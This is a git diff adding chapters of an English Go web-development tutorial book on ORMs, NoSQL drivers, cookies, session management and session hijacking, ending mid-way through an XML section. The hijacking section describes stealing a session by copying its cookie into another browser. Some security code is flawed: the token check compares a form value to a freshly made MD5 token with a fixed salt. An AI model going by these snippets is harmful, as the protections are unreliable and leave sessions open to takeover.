MySQL/SQLite, you can just skip the second one. + +Otherwise, you have to initialize, like SQLServer: + + orm = beedb.New(db, "mssql") + +PostgreSQL: + + orm = beedb.New(db, "pg") + +beedb supports debug, and use following code to enable: + + beedb.OnDebug=true + +Now we have a struct for the database table `Userinfo` that we used in previous sections. + + type Userinfo struct { + Uid int `PK` // if the primary key is not id, you need to add tag `PK` for your customized primary key. + Username string + Departname string + Created time.Time + } + +Be aware that beedb auto-convert your camel style name to underline and lower case letter. For example, we have `UserInfo` as the struct name, and it will be `user_info` in database, same rule for field name. +Camel + +## Insert data + +The following example shows you how to use beedb to save a struct instead of SQL command, and use Save method to apply change. + + var saveone Userinfo + saveone.Username = "Test Add User" + saveone.Departname = "Test Add Departname" + saveone.Created = time.Now() + orm.Save(&saveone) + +And you can check `saveone.Uid` after inserted, its value is self-increase ID, Save method did this job for you. + +beedb provides another way to insert data, which is using map. + + add := make(map[string]interface{}) + add["username"] = "astaxie" + add["departname"] = "cloud develop" + add["created"] = "2012-12-02" + orm.SetTable("userinfo").Insert(add) + +Insert multiple data: + + addslice := make([]map[string]interface{}, 10) + add:=make(map[string]interface{}) + add2:=make(map[string]interface{}) + add["username"] = "astaxie" + add["departname"] = "cloud develop" + add["created"] = "2012-12-02" + add2["username"] = "astaxie2" + add2["departname"] = "cloud develop2" + add2["created"] = "2012-12-02" + addslice =append(addslice, add, add2) + orm.SetTable("userinfo").InsertBatch(addslice) + +The way I showed you above is like chain query, you should be familiar if you know jquery. It returns original ORM object after calls, and continue to do other jobs. + +The method `SetTable` tells ORM we want to insert our data to table `userinfo`. + +## Update data + +Continue above example to show how to update data. Now we have primary key value of saveone(Uid), so beedb executes update operation instead of inserting new record. + + saveone.Username = "Update Username" + saveone.Departname = "Update Departname" + saveone.Created = time.Now() + orm.Save(&saveone) // update + +You can use map for updating data also: + + t := make(map[string]interface{}) + t["username"] = "astaxie" + orm.SetTable("userinfo").SetPK("uid").Where(2).Update(t) + +Let me explain some methods we used above: + +- `.SetPK()` tells ORM `uid` is the primary key of table `userinfo`. +- `.Where()` sets conditions, supports multiple arguments, if the first argument is a integer, it's a short form of `Where("=?", )`. +- `.Update()` method accepts map and update to database. + +## Query data + +beedb query interface is very flexible, let's see some examples: + +Example 1, query by primary key: + + var user Userinfo + // Where accepts two arguments, supports integers + orm.Where("uid=?", 27).Find(&user) + +Example 2: + + var user2 Userinfo + orm.Where(3).Find(&user2) // short form that omits primary key + +Example 3, other query conditions: + + var user3 Userinfo + // Where accepts two arguments, supports char type. + orm.Where("name = ?", "john").Find(&user3) + +Example 4, more complex conditions: + + var user4 Userinfo + // Where accepts three arguments + orm.Where("name = ? and age < ?", "john", 88).Find(&user4) + +Examples to get multiple records: + +Example 1, gets 10 records that `id>3` and starts with position 20: + + var allusers []Userinfo + err := orm.Where("id > ?", "3").Limit(10,20).FindAll(&allusers) + +Example 2, omits the second argument of limit, so it starts with 0 and gets 10 records: + + var tenusers []Userinfo + err := orm.Where("id > ?", "3").Limit(10).FindAll(&tenusers) + +Example 3, gets all records: + + var everyone []Userinfo + err := orm.OrderBy("uid desc,username asc").FindAll(&everyone) + +As you can see, the Limit method is for limiting number of results. + +- `.Limit()` supports two arguments, which are number of results and start position. 0 is the default value of start position. +- `.OrderBy()` is for ordering results, the arguments is the order condition. + +All examples that you see is mapping records to structs, and you can also just put data into map as follows: + + a, _ := orm.SetTable("userinfo").SetPK("uid").Where(2).Select("uid,username").FindMap() + +- `.Select()` tells beedb how many fields you want to get from database table, returns all fields as default. +- `.FindMap()` returns type `[]map[string][]byte`, so you need to convert to other types by yourself. + +## Delete data + +beedb provides rich methods to delete data. + +Example 1, delete a single record: + + // saveone is the one in above example. + orm.Delete(&saveone) + +Example 2, delete multiple records: + + // alluser is the slice which gets multiple records. + orm.DeleteAll(&alluser) + +Example 3, delete records by SQL: + + orm.SetTable("userinfo").Where("uid>?", 3).DeleteRow() + +## Associated query + +beedb doesn't support joining between structs. +However since some applications need this feature, here is a implementation: + + a, _ := orm.SetTable("userinfo").Join("LEFT", "userdetail", "userinfo.uid=userdetail.uid") + .Where("userinfo.uid=?", 1).Select("userinfo.uid,userinfo.username,userdetail.profile").FindMap() + +We see a new method called `.Join()`, it has three arguments: + +- The first argument: Type of Join; INNER, LEFT, OUTER, CROSS, etc. +- The second argument: the table you want to join with. +- The third argument: join condition. + +## Group By and Having + +beedb also has a implementation of `group by` and `having`. + + a, _ := orm.SetTable("userinfo").GroupBy("username").Having("username='astaxie'").FindMap() + +- `.GroupBy()` indicates field that is for group by. +- `.Having()` indicates conditions of having. + +## Future + +I have received many feedback from many people from all around world, and I'm thinking about reconfiguration in following aspects: + +- Implement interface design like `database/sql/driver` in order to implement corresponding CRUD operations. +- Implement relational database design, one to one, one to many, many to many, here are some samples: + + type Profile struct { + Nickname string + Mobile string + } + type Userinfo struct { + Uid int + PK_Username string + Departname string + Created time.Time + Profile HasOne + } + +- Auto-create table and index. +- Implement connection pool through goroutine. + +## Links + +- [Directory](preface.md) +- Previous section: [PostgreSQL](05.4.md) +- Next section: [NoSQL database](05.6.md) diff --git a/en/eBook/05.6.md b/en/eBook/05.6.md new file mode 100644 index 00000000..8361bcbe --- /dev/null +++ b/en/eBook/05.6.md @@ -0,0 +1,113 @@ +# 5.6 NoSQL database + +A NoSQL database provides a mechanism for storage and retrieval of data that use looser consistency models than relational database in order to achieve horizontal scaling and higher availability. Some authors refer to them as "Not only SQL" to emphasize that some NoSQL systems do allow SQL-like query language to be used. + +As the C language of 21st century, Go has good support for NoSQL databases, and the popular NoSQL database including redis, mongoDB, Cassandra and Membase. + +## redis + +redis is a key-value storage system like Memcached, it supports string, list, set and zset(ordered set) as it's value types. + +There are some Go database drivers for redis: + +- [https://github.com/alphazero/Go-Redis](https://github.com/alphazero/Go-Redis) +- [http://code.google.com/p/tideland-rdc/](http://code.google.com/p/tideland-rdc/) +- [https://github.com/simonz05/godis](https://github.com/simonz05/godis) +- [https://github.com/hoisie/redis.go](https://github.com/hoisie/redis.go) + +I forked the last one and fixed some bugs, and use it in my short URL service(2 million PV every day). + +- [https://github.com/astaxie/goredis](https://github.com/astaxie/goredis) + +Let's see how to use the driver that I forked to operate database: + + package main + + import ( + "github.com/astaxie/goredis" + "fmt" + ) + + func main() { + var client goredis.Client + + // Set the default port in Redis + client.Addr = "127.0.0.1:6379" + + // string manipulation + client.Set("a", []byte("hello")) + val, _ := client.Get("a") + fmt.Println(string(val)) + client.Del("a") + + // list operation + vals := []string{"a", "b", "c", "d", "e"} + for _, v := range vals { + client.Rpush("l", []byte(v)) + } + dbvals,_ := client.Lrange("l", 0, 4) + for i, v := range dbvals { + println(i,":",string(v)) + } + client.Del("l") + } + +We can see that it's quite easy to operate redis in Go, and it has high performance. Its client commands are almost the same as redis built-in commands. + +## mongoDB + +mongoDB (from "humongous") is an open source document-oriented database system developed and supported by 10gen. It is part of the NoSQL family of database systems. Instead of storing data in tables as is done in a "classical" relational database, MongoDB stores structured data as JSON-like documents with dynamic schemas (MongoDB calls the format BSON), making the integration of data in certain types of applications easier and faster. + +![](images/5.6.mongodb.png?raw=true) + +Figure 5.1 MongoDB compares to Mysql + +The best driver for mongoDB is called `mgo`, and it is possible to be in the standard library in the future. + +Here is the example: + + package main + + import ( + "fmt" + "labix.org/v2/mgo" + "labix.org/v2/mgo/bson" + ) + + type Person struct { + Name string + Phone string + } + + func main() { + session, err := mgo.Dial("server1.example.com,server2.example.com") + if err != nil { + panic(err) + } + defer session.Close() + + session.SetMode(mgo.Monotonic, true) + + c := session.DB("test").C("people") + err = c.Insert(&Person{"Ale", "+55 53 8116 9639"}, + &Person{"Cla", "+55 53 8402 8510"}) + if err != nil { + panic(err) + } + + result := Person{} + err = c.Find(bson.M{"name": "Ale"}).One(&result) + if err != nil { + panic(err) + } + + fmt.Println("Phone:", result.Phone) + } + +We can see that there is no big different to operate database between mgo and beedb, they are both based on struct, this is what Go style is. + +## Links + +- [Directory](preface.md) +- Previous section: [Develop ORM based on beedb](05.5.md) +- Next section: [Summary](05.7.md) diff --git a/en/eBook/05.7.md b/en/eBook/05.7.md new file mode 100644 index 00000000..b25432f6 --- /dev/null +++ b/en/eBook/05.7.md @@ -0,0 +1,11 @@ +# 5.7 Summary + +In this chapter, you first learned the design of `database/sql` interface, and many third-party database drivers for different kinds of database. Then I introduced beedb to you, an ORM for relational databases, also showed some samples for operating database. In the end, I talked about some NoSQL databases, I have to see Go gives very good support for those NoSQL databases. + +After read this chapter, I hope you know how to operate databases in Go. This is the most important part in web development, so I want to you completely understand design ideas of `database/sql` interface. + +## Links + +- [Directory](preface.md) +- Previous section: [NoSQL database](05.6.md) +- Next section: [Data storage and session](06.0.md) \ No newline at end of file diff --git a/en/eBook/06.0.md b/en/eBook/06.0.md new file mode 100644 index 00000000..f4f118d3 --- /dev/null +++ b/en/eBook/06.0.md @@ -0,0 +1,11 @@ +# 6 Data storage and session + +An important topic in web development is providing good user experience, but HTTP is stateless protocol, how can we control the whole process of viewing web sites of users? The classic solutions are using cookie and session, where cookies is client side mechanism and session is saved in server side with unique identifier for every single user. Noted that session can be passed in URL or in cookie, or even in your database which is much safer but it may drag down your application performance. + +In section 6.1, we are going to talk about differences between cookie and session. In section 6.2, you'll learn how to use session in Go with a implementation of session manager. In section 6.3, we will talk about session hijack and how to prevent it when you know that session can be saved in anywhere. The session manager we will implement in section 6.3 is saving session in memory, but if we need to expand our application that have requirement of sharing session, we'd better save session in database, and we'll talk more about this in section 6.4. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 5 Summary](05.7.md) +- Next section: [Session and cookies](06.1.md) diff --git a/en/eBook/06.1.md b/en/eBook/06.1.md new file mode 100644 index 00000000..509ca550 --- /dev/null +++ b/en/eBook/06.1.md @@ -0,0 +1,111 @@ +## 6.1 Session and cookies + +Session and cookies are two common concepts in web browse, also they are very easy to misunderstand, but they are extremely important in authorization and statistic pages. Let's comprehend both of them. + +Suppose you want to crawl a limited access page, like user home page in twitter. Of course you can open your browser and type your user name and password to log in and access those information, but so-called "crawl" means we use program to simulate this process without human intervene. Therefore, we have to find out what is really going on behind our actions when we use browsers to log in. + +When we get log in page, and type user name and password, and press "log in" button, browser send POST request to remote server. Browser redirects to home page after server returns right respond. The question is how does server know that we have right to open limited access page? Because HTTP is stateless, server has no way to know we passed the verification in last step. The easiest solution is append user name and password in the URL, it works but gives too much pressure to server (verify every request in database), and has terrible user experience. So there is only one way to achieve this goal, which is save identify information either in server or client side, this is why we have cookie and session. + +cookie, in short it is history information (including log in information) that is saved in client computer, and browser sends cookies when next time user visits same web site, automatically finishes log in step for user. + +![](images/6.1.cookie2.png?raw=true) + +Figure 6.1 cookie principle. + +session, in short it is history information that is saved in server, server uses session id to identify different session, and the session id is produced by server, it should keep random and unique, you can use cookie to get client identity, or by URL as arguments. + +![](images/6.1.session.png?raw=true) + +Figure 6.2 session principle. + +## Cookie + +Cookie is maintained by browsers and along with requests between web servers and browsers. Web application can access cookies information when users visit site. In browser setting there is one about cookies privacy, and you should see something similar as follows when you open it: + +![](images/6.1.cookie.png?raw=true) + +Figure 6.3 cookie in browsers. + +Cookie has expired time, and there are two kinds of cookies based on life period: session cookie and persistent cookie. + +If you don't set expired time, browser will not save it into local file after you close the browser, it's called session cookies; this kind of cookies are usually saved in memory instead of local file system. + +If you set expired time (setMaxAge(60*60*24)), browser will save this cookies in local file system, and it will not be deleted until reached expired time. Cookies that is saved in local file system can be shared in different processes of browsers, for example, two IE windows; different kinds of browsers use different process for handling cookie that is saved in memory.    + +## Set cookies in Go + +Go uses function `SetCookie` in package `net/http` to set cookie: + + http.SetCookie(w ResponseWriter, cookie *Cookie) + +`w` is the response of the request, cookie is a struct, let's see how it looks like: + + type Cookie struct { + Name string + Value string + Path string + Domain string + Expires time.Time + RawExpires string + + // MaxAge=0 means no 'Max-Age' attribute specified. + // MaxAge<0 means delete cookie now, equivalently 'Max-Age: 0' + // MaxAge>0 means Max-Age attribute present and given in seconds + MaxAge int + Secure bool + HttpOnly bool + Raw string + Unparsed []string // Raw text of unparsed attribute-value pairs + } + +Here is an example of setting cookie: + + expiration := *time.LocalTime() + expiration.Year += 1 + cookie := http.Cookie{Name: "username", Value: "astaxie", Expires: expiration} + http.SetCookie(w, &cookie) +   + +## Get cookie in Go + +The above example shows how to set cookies, let's see how to get cookie: + + cookie, _ := r.Cookie("username") + fmt.Fprint(w, cookie) + +Here is another way to get cookie: + + for _, cookie := range r.Cookies() { + fmt.Fprint(w, cookie.Name) + } + +As you can see, it's very convenient to get cookie in request. + +## Session + +Session means a series of actions or messages, for example, your actions from pick up your telephone to hang up can be called a session. However, session implied connection-oriented or keep connection when it's related to network protocol. + +Session has more meaning when it hits web development, which means a solution that keep connection status between server and client, sometimes it also means the data storage struct of this solution. + +Session is the server side mechanism, server uses something like (or actually) use hash table to save information. + +When an application need to assign a new session for the client, server should check if there is any session for same client with unique session id. If the session id has already existed, server just return the same session to client, create a new session if there is no one for that client (it usually happens when server has deleted corresponding session id but user append ole session manually). + +The session itself is not complex, but its implementation and deployment are very complicated, so you cannot use "one way to rule them all". + +## Summary + +In conclusion, the goal of session and cookie is the same, they are both for overcoming defect of HTTP stateless, but they use different ways. Session uses cookie to save session id in client side, and save other information in server side, and cookie saves all information in client side. So you may notice that cookie has some security problems, for example, user name and password can be cracked and collected by other sites. + +There are two examples: + +1. appA setting unexpected cookie for appB. +2. XSS, appA uses JavaScript `document.cookie` to access cookies of appB. + +Through introduction of this section, you should know basic concepts of cookie and session, understand the differences between them, so you will not kill yourself when bugs come out. We will get more detail about session in following sections. + +## Links + +- [Directory](preface.md) +- Previous section: [Data storage and session](06.0.md) +- Next section: [How to use session in Go](06.2.md) \ No newline at end of file diff --git a/en/eBook/06.2.md b/en/eBook/06.2.md new file mode 100644 index 00000000..bfb13ace --- /dev/null +++ b/en/eBook/06.2.md @@ -0,0 +1,222 @@ +# 6.2 How to use session in Go + +You learned that session is a solution of user verification between client and server in section 6.1, and for now there is no support for session from Go standard library, so we're going to implement our version of session manager in Go. + +## Create session + +The basic principle of session is that server maintains a kind of information for every single client, and client rely on an unique session id to access the information. When users visit the web application, server will crated a new session as following three steps as needed: + +- Create unique session id +- Open up data storage space: normally we save session in memory, but you will lose all session data once the system interrupt accidentally, it causes serious problems if your web application is for electronic commerce. In order to solve this problem, you can save your session data in database or file system, it makes data be persistence and easy to share with other applications, though it needs more IO pay expenses. +- Send unique session id to clients. + +The key step of above steps is to send unique session id to clients. In consideration of HTTP, you can either use respond line, header or body; therefore, we have cookie and URL rewrite two ways to send session id to clients. + +- Cookie: Server can easily use Set-cookie in header to save session id to clients, and clients will carry this cookies in future requests; we often set 0 as expired time of cookie that contains session information, which means the cookie will be saved in memory and deleted after users close browsers. +- URL rewrite: append session id as arguments in URL in all pages, this way seems like messy, but it's the best choice if client disabled the cookie feature. + +## Use Go to manage session + +After we talked about the constructive process of session, you should have a overview of it, but how can we use it in dynamic pages? Let's combine life cycle of session to implement a Go session manager. + +### Session management design + +Here is the list of factors of session management: + +- Global session manager. +- Keep session id unique. +- Have one session for every single user. +- Session storage, in memory, file or database. +- Deal with expired session. + +I'll show you a complete example of Go session manager and mentality of designing. + +### Session manager + +Define a global session manager: + + type Manager struct { + cookieName string //private cookiename + lock sync.Mutex // protects session + provider Provider + maxlifetime int64 + } + + func NewManager(provideName, cookieName string, maxlifetime int64) (*Manager, error) { + provider, ok := provides[provideName] + if !ok { + return nil, fmt.Errorf("session: unknown provide %q (forgotten import?)", provideName) + } + return &Manager{provider: provider, cookieName: cookieName, maxlifetime: maxlifetime}, nil + } + +Create a global session manager in main() function: + + var globalSessions *session.Manager + //然后在init函数中初始化 + func init() { + globalSessions = NewManager("memory","gosessionid",3600) + } + +We know that we can save session in many ways, including memory, file system or database, so we need to define a interface `Provider` in order to represent underlying structure of our session manager: + + type Provider interface { + SessionInit(sid string) (Session, error) + SessionRead(sid string) (Session, error) + SessionDestroy(sid string) error + SessionGC(maxLifeTime int64) + } + +- `SessionInit` implements initialization of session, it returns new session variable if it succeed. +- `SessionRead` returns session variable that is represented by corresponding sid, it creates a new session variable and return if it does not exist. +- `SessionDestory` deletes session variable by corresponding sid. +- `SessionGC` deletes expired session variables according to `maxLifeTime`. + +So what methods should our session interface have? If you have web development experience, you should know that there are only four operations for session, which are set value, get value, delete value and get current session id, so our session interface should have four method for these operations. + + type Session interface { + Set(key, value interface{}) error //set session value + Get(key interface{}) interface{} //get session value + Delete(key interface{}) error //delete session value + SessionID() string //back current sessionID + } + +The mentality of designing is from `database/sql/driver` that define the interface first and register specific structure when we want to use. The following code is the internal implementation of session register function. + + var provides = make(map[string]Provider) + + // Register makes a session provide available by the provided name. + // If Register is called twice with the same name or if driver is nil, + // it panics. + func Register(name string, provider Provider) { + if provider == nil { + panic("session: Register provide is nil") + } + if _, dup := provides[name]; dup { + panic("session: Register called twice for provide " + name) + } + provides[name] = provider + } + +### Unique session id + +Session id is for identifying users of web applications, so it has to be unique, the following code shows how to achieve this goal: + + func (manager *Manager) sessionId() string { + b := make([]byte, 32) + if _, err := io.ReadFull(rand.Reader, b); err != nil { + return "" + } + return base64.URLEncoding.EncodeToString(b) + } + +### Create session + +We need to allocate or get corresponding session in order to verify user operations. Function `SessionStart` is for checking if any session related to current user, create a new one if no related session. + + func (manager *Manager) SessionStart(w http.ResponseWriter, r *http.Request) (session Session) { + manager.lock.Lock() + defer manager.lock.Unlock() + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + sid := manager.sessionId() + session, _ = manager.provider.SessionInit(sid) + cookie := http.Cookie{Name: manager.cookieName, Value: url.QueryEscape(sid), Path: "/", HttpOnly: true, MaxAge: int(manager.maxlifetime)} + http.SetCookie(w, &cookie) + } else { + sid, _ := url.QueryUnescape(cookie.Value) + session, _ = manager.provider.SessionRead(sid) + } + return + } + +Here is an example that uses session for log in operation. + + func login(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + r.ParseForm() + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("username")) + } else { + sess.Set("username", r.Form["username"]) + http.Redirect(w, r, "/", 302) + } + } + +### Operation value: set, get and delete + +Function `SessionStart` returns a variable that implemented session interface, so how can we use it? + +You saw `session.Get("uid")` in above example for basic operation, now let's see a detailed example. + + func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + createtime := sess.Get("createtime") + if createtime == nil { + sess.Set("createtime", time.Now().Unix()) + } else if (createtime.(int64) + 360) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) + } + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) + } + t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) + } + +As you can see, operate session is very like key/value pattern database in operation Set, Get and Delete, etc. + +Because session has concept of expired, so we defined GC to update session latest modify time, then GC will not delete session that is expired but still using. + +### Reset session + +We know that web application has log out operation, and we need to delete corresponding session, we've already used reset operation in above example, let's see the code of function body. + + //Destroy sessionid + func (manager *Manager) SessionDestroy(w http.ResponseWriter, r *http.Request){ + cookie, err := r.Cookie(manager.cookieName) + if err != nil || cookie.Value == "" { + return + } else { + manager.lock.Lock() + defer manager.lock.Unlock() + manager.provider.SessionDestroy(cookie.Value) + expiration := time.Now() + cookie := http.Cookie{Name: manager.cookieName, Path: "/", HttpOnly: true, Expires: expiration, MaxAge: -1} + http.SetCookie(w, &cookie) + } + } + +### Delete session + +Let's see how to let session manager delete session, we need to start GC in main() function: + + func init() { + go globalSessions.GC() + } + + func (manager *Manager) GC() { + manager.lock.Lock() + defer manager.lock.Unlock() + manager.provider.SessionGC(manager.maxlifetime) + time.AfterFunc(time.Duration(manager.maxlifetime), func() { manager.GC() }) + } + +We see that GC makes full use of the timer function in package `time`, it automatically calls GC when timeout, ensure that all session are usable during `maxLifeTime`, similar solution can be used to count online users. + +## Summary + +So far we implemented a session manager to manage global session in the web application, defined the `Provider` interface for storage implementation of `Session`. In next section, we are going to talk about how to implement `Provider` for more session storage structures, and you can reference in the future development. + +## Links + +- [Directory](preface.md) +- Previous section: [Session and cookies](06.1.md) +- Next section: [Session storage](06.3.md) \ No newline at end of file diff --git a/en/eBook/06.3.md b/en/eBook/06.3.md new file mode 100644 index 00000000..f2ac65f9 --- /dev/null +++ b/en/eBook/06.3.md @@ -0,0 +1,139 @@ +# 6.3 Session storage + +We introduced session manager work principle in previous section, we defined a session storage interface. In this section, I'm going to show you an example of memory-based session storage engine that implements the interface. You can change this to others forms of session storage as well. + + package memory + + import ( + "container/list" + "github.com/astaxie/session" + "sync" + "time" + ) + + var pder = &Provider{list: list.New()} + + type SessionStore struct { + sid string // unique session id + timeAccessed time.Time // last access time + value map[interface{}]interface{} // session value stored inside + } + + func (st *SessionStore) Set(key, value interface{}) error { + st.value[key] = value + pder.SessionUpdate(st.sid) + return nil + } + + func (st *SessionStore) Get(key interface{}) interface{} { + pder.SessionUpdate(st.sid) + if v, ok := st.value[key]; ok { + return v + } else { + return nil + } + return nil + } + + func (st *SessionStore) Delete(key interface{}) error { + delete(st.value, key) + pder.SessionUpdate(st.sid) + return nil + } + + func (st *SessionStore) SessionID() string { + return st.sid + } + + type Provider struct { + lock sync.Mutex // lock + sessions map[string]*list.Element // save in memory + list *list.List // gc + } + + func (pder *Provider) SessionInit(sid string) (session.Session, error) { + pder.lock.Lock() + defer pder.lock.Unlock() + v := make(map[interface{}]interface{}, 0) + newsess := &SessionStore{sid: sid, timeAccessed: time.Now(), value: v} + element := pder.list.PushBack(newsess) + pder.sessions[sid] = element + return newsess, nil + } + + func (pder *Provider) SessionRead(sid string) (session.Session, error) { + if element, ok := pder.sessions[sid]; ok { + return element.Value.(*SessionStore), nil + } else { + sess, err := pder.SessionInit(sid) + return sess, err + } + return nil, nil + } + + func (pder *Provider) SessionDestroy(sid string) error { + if element, ok := pder.sessions[sid]; ok { + delete(pder.sessions, sid) + pder.list.Remove(element) + return nil + } + return nil + } + + func (pder *Provider) SessionGC(maxlifetime int64) { + pder.lock.Lock() + defer pder.lock.Unlock() + + for { + element := pder.list.Back() + if element == nil { + break + } + if (element.Value.(*SessionStore).timeAccessed.Unix() + maxlifetime) < time.Now().Unix() { + pder.list.Remove(element) + delete(pder.sessions, element.Value.(*SessionStore).sid) + } else { + break + } + } + } + + func (pder *Provider) SessionUpdate(sid string) error { + pder.lock.Lock() + defer pder.lock.Unlock() + if element, ok := pder.sessions[sid]; ok { + element.Value.(*SessionStore).timeAccessed = time.Now() + pder.list.MoveToFront(element) + return nil + } + return nil + } + + func init() { + pder.sessions = make(map[string]*list.Element, 0) + session.Register("memory", pder) + } + + +The above example implemented a memory-based session storage mechanism, then use init() function to register this storage engine to session manager. So how to register this engine? + + import ( + "github.com/astaxie/session" + _ "github.com/astaxie/session/providers/memory" + ) + +Use import mechanism to register this engine in init() function automatically to session manager, then we use following code to initialize a session manager: + + var globalSessions *session.Manager + + // initialize in init() function + func init() { + globalSessions, _ = session.NewManager("memory", "gosessionid", 3600) + go globalSessions.GC() + } + +## Links + +- [Directory](preface.md) +- Previous section: [How to use session in Go](06.2.md) +- Next section: [Prevent hijack of session](06.4.md) diff --git a/en/eBook/06.4.md b/en/eBook/06.4.md new file mode 100644 index 00000000..78d01ef1 --- /dev/null +++ b/en/eBook/06.4.md @@ -0,0 +1,93 @@ +# 6.4 Prevent hijack of session + +Session hijack is a broader exist serious security threaten. Clients use session id to communicate with server, and we can easily to find out which is the session id when we track the communications, and used by attackers. + +In the section, we are going to show you how to hijack session in order to help you understand more about session. + +## Session hijack process + +The following code is a counter for `count` variable: + + func count(w http.ResponseWriter, r *http.Request) { + sess := globalSessions.SessionStart(w, r) + ct := sess.Get("countnum") + if ct == nil { + sess.Set("countnum", 1) + } else { + sess.Set("countnum", (ct.(int) + 1)) + } + t, _ := template.ParseFiles("count.gtpl") + w.Header().Set("Content-Type", "text/html") + t.Execute(w, sess.Get("countnum")) + } + +The content of `count.gtpl` as follows: + + Hi. Now count:{{.}} + +Then we can see following content in the browser: + +![](images/6.4.hijack.png?raw=true) + +Figure 6.4 count in browser. + +Keep refreshing until the number becomes 6, and we open the cookies manager (I use chrome here), you should see following information: + +![](images/6.4.cookie.png?raw=true) + +Figure 6.5 cookies that saved in browser. + +This step is very important: open another browser (I use firefox here), copy URL to new browser, and open cookie simulator to crate a new cookie, input exactly the same value of cookie we saw. + +![](images/6.4.setcookie.png?raw=true) + +Figure 6.6 Simulate cookie. + +Refresh page, and you'll see: + +![](images/6.4.hijacksuccess.png?raw=true) + +Figure 6.7 hijack session succeed. + +Here we see that we can hijack session between different browsers, and same thing will happen in different computers. If you click firefox and chrome in turn, you'll see they actually modify the same counter. Because HTTP is stateless, so there is no way to know the session id from firefox is simulated, and chrome is not able to know its session id has been hijacked. + +## prevent session hijack + +### cookie only and token + +Through the simple example of session hijack, you should know that it's very dangerous because attackers can do whatever they want. So how can we prevent session hijack? + +The first step is to set session id only in cookie, instead of in URL rewrite, and set httponly property of cookie to true to restrict client script to access the session id. So the cookie cannot be accessed by XSS and it's not as easy as we showed to get session id in cookie manager. + +The second step is to add token in every request, like we deal with repeat form in previous sections, we add a hidden field that contains token, and verify this token to prove that the request is unique. + + h := md5.New() + salt:="astaxie%^7&8888" + io.WriteString(h,salt+time.Now().String()) + token:=fmt.Sprintf("%x",h.Sum(nil)) + if r.Form["token"]!=token{ + // ask to log in + } + sess.Set("token",token) + +### Session id timeout + +Another solution is to add a create time for every session, and we delete the session id when it's expired and create a new one. This can prevent session hijack at some point. + + createtime := sess.Get("createtime") + if createtime == nil { + sess.Set("createtime", time.Now().Unix()) + } else if (createtime.(int64) + 60) < (time.Now().Unix()) { + globalSessions.SessionDestroy(w, r) + sess = globalSessions.SessionStart(w, r) + } + +We set a value to save the create time and check if it's expired(I set 60 seconds here), this step can avoid many of session hijack. + +Combine those two solutions, you can avoid most of session hijack in your web applications. In the one hand, session id changes frequently and attacker always get expired and useless session id; in the other hand, we set session id can only be passed through cookie and the cookies is httponly, so all attacks based on URL are not working. Finally, we set MaxAge=0 which means session id will not be saved in history in browsers. + +## Links + +- [Directory](preface.md) +- Previous section: [Session storage](06.3.md) +- Next section: [Summary](06.5.md) \ No newline at end of file diff --git a/en/eBook/06.5.md b/en/eBook/06.5.md new file mode 100644 index 00000000..71a4ba88 --- /dev/null +++ b/en/eBook/06.5.md @@ -0,0 +1,9 @@ +# 6.5 Summary + +In this chapter, we learned what is session and what is cookie, and the relationship between them. And because Go doesn't support session in standard library, so we designed a session manager, go through the whole processes from create session to delete session. Then we defined a interface called `Procider` which supports for all session storage structures. In section 6.3, we implemented a session manager that use memory to save data. In section 6.4, I showed you how to hijack session and the way to prevent session hijack. I hope you know all the working principles of session in order to use session by safer way. + +## Links + +- [Directory](preface.md) +- Previous section: [Prevent hijack of session](06.4.md) +- Next chapter: [Text files](07.0.md) \ No newline at end of file diff --git a/en/eBook/07.0.md b/en/eBook/07.0.md new file mode 100644 index 00000000..fa9c0552 --- /dev/null +++ b/en/eBook/07.0.md @@ -0,0 +1,11 @@ +# 7 Text files + +Handling text file is a big part of web development, we often need to produce or handle received text content, including strings, numbers, JSON, XML, etc. As a high performance language, Go has good support from standard library, and you'll find out that it's design just awesome, you can easily use them to deal with your text content. This chapter contains 4 sections, which gives full introduction of text processing in Go. + +XML is an interactive language that is commonly used in many API, many web servers that are written by Java are using XML as standard interaction language, we will talk about XML in section 7.1. In section 7.2, we will take a look at JSON which is very popular in recent years and much more convenient than XML. In section 7.3, we are going to talk about regular expression which looks like a language that is used by aliens. In section 7.4, you will see how to use MVC model to develop applications in Go and use `template` package to use templates. In section 7.5, we'll give a introduction of operating files and folders. Finally, we will explain some string operations in Go in section 7.6. + +## Links + +- [Directory](preface.md) +- Previous Chapter: [Chapter 6 Summary](06.5.md) +- Next section: [XML](07.1.md) \ No newline at end of file diff --git a/en/eBook/07.1.md b/en/eBook/07.1.md new file mode 100644 index 00000000..a46ff79d --- /dev/null +++ b/en/eBook/07.1.md @@ -0,0 +1,216 @@ +# 7.1 XML + +XML is a commonly used data communication format in web services today, it becomes more and more important role in daily development. In this section, we're going to introduce how to work with XML through standard library. + +I'll not teach what is XML or something like that, please read more documentation about XML if you haven't known that. We only focus on how to encode and decode XML files. + +Suppose you are a operation staff, and you have following XML configuration file: + + + + + Shanghai_VPN + 127.0.0.1 + + + Beijing_VPN + 127.0.0.2 + + + +Above XML document contains two kinds of information about your server, which are server name and IP; we will use this document in our following examples. + +## Parse XML + +How to parse this XML document? We can use function `Unmarshal` in package `xml` to do this. + + func Unmarshal(data []byte, v interface{}) error + +data receives data stream from XML, v is the structure you want to output, it is a interface, which means you can convert XML to any kind of structures. Here we only talk about how to convert to `struct` because they have similar tree structures. + +Sample code: + + package main + + import ( + "encoding/xml" + "fmt" + "io/ioutil" + "os" + ) + + type Recurlyservers struct { + XMLName xml.Name `xml:"servers"` + Version string `xml:"version,attr"` + Svs []server `xml:"server"` + Description string `xml:",innerxml"` + } + + type server struct { + XMLName xml.Name `xml:"server"` + ServerName string `xml:"serverName"` + ServerIP string `xml:"serverIP"` + } + + func main() { + file, err := os.Open("servers.xml") // For read access. + if err != nil { + fmt.Printf("error: %v", err) + return + } + defer file.Close() + data, err := ioutil.ReadAll(file) + if err != nil { + fmt.Printf("error: %v", err) + return + } + v := Recurlyservers{} + err = xml.Unmarshal(data, &v) + if err != nil { + fmt.Printf("error: 